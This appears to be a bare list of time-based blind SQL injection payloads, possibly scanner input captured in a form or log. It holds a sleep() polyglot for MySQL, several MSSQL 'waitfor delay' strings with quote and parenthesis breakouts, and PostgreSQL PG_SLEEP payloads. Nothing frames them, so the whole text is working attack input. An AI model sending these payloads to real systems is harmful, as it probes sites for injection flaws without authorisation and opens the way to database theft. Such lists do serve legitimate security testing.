(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1 waitfor delay '0:0:15' --

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cc4UuFFy'; waitfor delay '0:0:15' --

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7IXhuUsA'); waitfor delay '0:0:15' --

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90THB0tN')); waitfor delay '0:0:15' --

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Ejvp4T7F' OR 378=(SELECT 378 FROM PG_SLEEP(15))--

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zZw3HEKu') OR 290=(SELECT 290 FROM PG_SLEEP(15))--

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UWPrfwJ5')) OR 120=(SELECT 120 FROM PG_SLEEP(15))--